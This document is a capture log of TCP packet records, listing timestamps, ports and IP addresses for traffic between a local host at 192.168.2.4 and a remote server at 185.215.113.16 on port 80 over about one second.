Dec 27, 2024 09:13:09.545924902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.545993090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.546839952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.546891928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.546940088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.547933102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.548023939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.548080921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.549001932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.549077988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.549247980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.593729019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.652506113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.652558088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.652622938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.652915001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.653064013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.653107882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.653167009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.654128075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.654185057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.654217005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.655195951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.655245066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.655306101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.656260014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.656312943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.656362057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.657322884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.657424927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.657464981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.658376932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.658430099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.658490896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.659450054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.659492016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.659560919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.660502911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.660557032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.660608053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.661597013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.661657095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.661679983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.662633896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.662691116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.662753105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.663705111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.663790941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.663798094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.664767027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.664819002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.664885044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.665831089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.665878057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.665915012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.666896105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.666980982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.667006016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.667960882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.668056011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.668086052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.669019938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.669064045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.669111013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.670109034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.670193911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.670197010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.671159029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.671200037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.671262026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.672226906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.672292948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.672346115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.673311949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.673377991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.673444986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.674350023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.674427032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.777389050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.777491093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.777539015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.777894974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.778028965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.778068066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.778135061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.779141903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.779184103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.779287100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.780163050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.780210972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.780308962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.781236887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.781277895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.781337976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.782310009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.782408953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.782447100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.783368111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.783461094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.783483028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.784435034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.784502983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.784540892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.785504103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.785540104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.785599947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.786591053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.786639929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.786643982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.787657976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.787704945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.787733078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.788693905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.788739920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.788779020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.789742947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.789834976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.789835930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.790806055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.790895939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.790923119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.791940928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.792049885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.792094946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.792992115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.793031931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.793040037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.794040918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.794141054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.794181108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.795068026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.795109987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.795176029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.796139002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.796251059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.796302080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.797220945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.797271013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.797326088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.798479080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.798521996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.798588991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.843707085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.853799105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.853854895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.853909969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.902534008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.902592897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.902652979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.903012991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.903140068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.904084921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.904126883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.904130936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.904165983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.905107975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.905462027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.905550957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.905591011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.906507015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.906553984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.906606913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.907638073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.907677889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.907679081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.908627987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.908673048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.908746004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.909737110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.909781933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.909830093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.910782099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.910826921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.910871983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.911854982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.911901951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.911905050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.912935019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.912975073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.912997961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.914074898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.914119005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.914283037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.915057898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.915136099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.915153980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.916107893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.916150093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.916224003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.917232990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.917294025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.917329073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.918272972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.918315887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.918348074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.919317961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.919363022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.919425964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.920358896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.920454979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.920466900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.921431065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.921477079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.921547890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.922499895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.922617912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.922650099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.923563004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.923654079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.923661947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.927428961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:09.978553057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.978590012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:09.978651047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.027513981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.027545929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.027702093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.027910948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.027997971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.028052092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.029087067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.029284000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.029335976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.030117989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.030411959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.030462027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.030533075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.031481981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.031564951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.031630039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.032500029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.032541037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.032560110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.033591986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.033644915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.033760071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.034681082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.034707069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.034744024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.035691977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.035749912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.035834074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.036766052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.036814928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.036865950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.037811995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.037858009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.037923098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.038914919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.038964033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.039083958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.039931059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.039984941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.040049076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.041008949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.041063070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.041184902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.042078018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.042128086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.042181969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.043159008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.043235064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.043287039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.044190884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.044239044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.044296026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.045294046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.045347929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.045350075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.046309948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.046361923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.046401978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.047390938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.047441006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.047476053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.048410892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.049206972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.054773092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.054847002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.054898024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.152560949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.152662039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.152736902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.153076887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.153206110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.153327942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.154182911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.154412031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.154462099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.155221939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.155330896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.155376911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.156358957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.156452894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.156500101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.157262087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.157336950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.157391071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.158334017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.158410072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.158462048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.159356117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.159514904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.159562111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.160460949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.160559893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.160617113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.161561966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.161573887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.161614895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.162628889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.162648916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.162709951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.163605928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.163743019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.163789988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.164860010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.164871931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.164937973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.165770054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.165910959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.165965080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.166851044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.166904926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.166945934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.167870998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.167968035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.168010950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.168909073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.169001102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.169047117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.170011997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.170111895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.170155048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.171035051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.171142101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.171190023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.172147989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.172223091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.172266960 CET	49743	80	192.168.2.4	185.215.113.16
